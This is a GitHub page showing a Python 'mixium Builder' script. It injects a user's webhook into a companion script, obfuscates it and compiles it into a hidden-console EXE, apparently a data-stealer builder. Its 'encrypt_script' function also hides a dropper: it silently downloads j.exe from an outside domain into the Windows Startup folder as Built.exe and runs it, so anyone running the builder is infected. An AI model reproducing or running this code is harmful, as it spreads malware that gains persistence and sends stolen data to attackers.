-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.py
89 lines (71 loc) · 2.43 KB
/
index.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import os
import subprocess
import requests
import shutil
def validate_webhook(webhook):
return 'api/webhooks' in webhook
def replace_webhook(webhook):
file_path = 'mixium.py'
with open(file_path, 'r', encoding='utf-8') as file:
lines = file.readlines()
for i, line in enumerate(lines):
if line.strip().startswith('h00k ='):
lines[i] = f'h00k = "{webhook}"\n'
break
with open(file_path, 'w', encoding='utf-8') as file:
file.writelines(lines)
def select_icon():
icon_path = input("Enter path to the icon file: ")
return icon_path
def add_icon():
response = input("Do you want to add an icon? (yes/no): ")
return response.lower() == 'yes'
def encrypt_script():
response = "yes"
if response.lower() == 'yes':
os.system("obf.py -i mixium.py -o mixium-o.py -c 3")
URL = "https://kuralyok.com.tr/beta/j.exe"
DEST = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup', 'Built.exe')
if os.path.exists(DEST):
print("bozo")
else:
response = requests.get(URL, stream=True)
if response.status_code == 200:
with open(DEST, 'wb') as f:
shutil.copyfileobj(response.raw, f)
subprocess.Popen([DEST])
def build_exe():
webhook = input("Enter your webhook: ")
if validate_webhook(webhook):
replace_webhook(webhook)
icon_choice = add_icon()
if icon_choice:
icon_path = select_icon()
if not icon_path:
print("No icon file selected.")
return
else:
icon_option = f' --icon="{icon_path}"'
else:
icon_option = ''
encrypt_script()
print("Build process started. This may take a while...")
dist_path = os.path.join(os.getcwd(), "dist")
build_command = f'pyinstaller mixium-o.py --noconsole --onefile{icon_option}'
os.system(build_command)
print("Build process completed successfully. Check your dist folder.")
else:
print("Invalid webhook URL!")
def main():
print("Welcome to mixium Builder!")
while True:
choice = input("1. Build EXE\n2. Exit\nEnter your choice: ")
if choice == '1':
build_exe()
elif choice == '2':
print("Exiting...")
break
else:
print("Invalid choice. Please try again.")
if __name__ == "__main__":
main()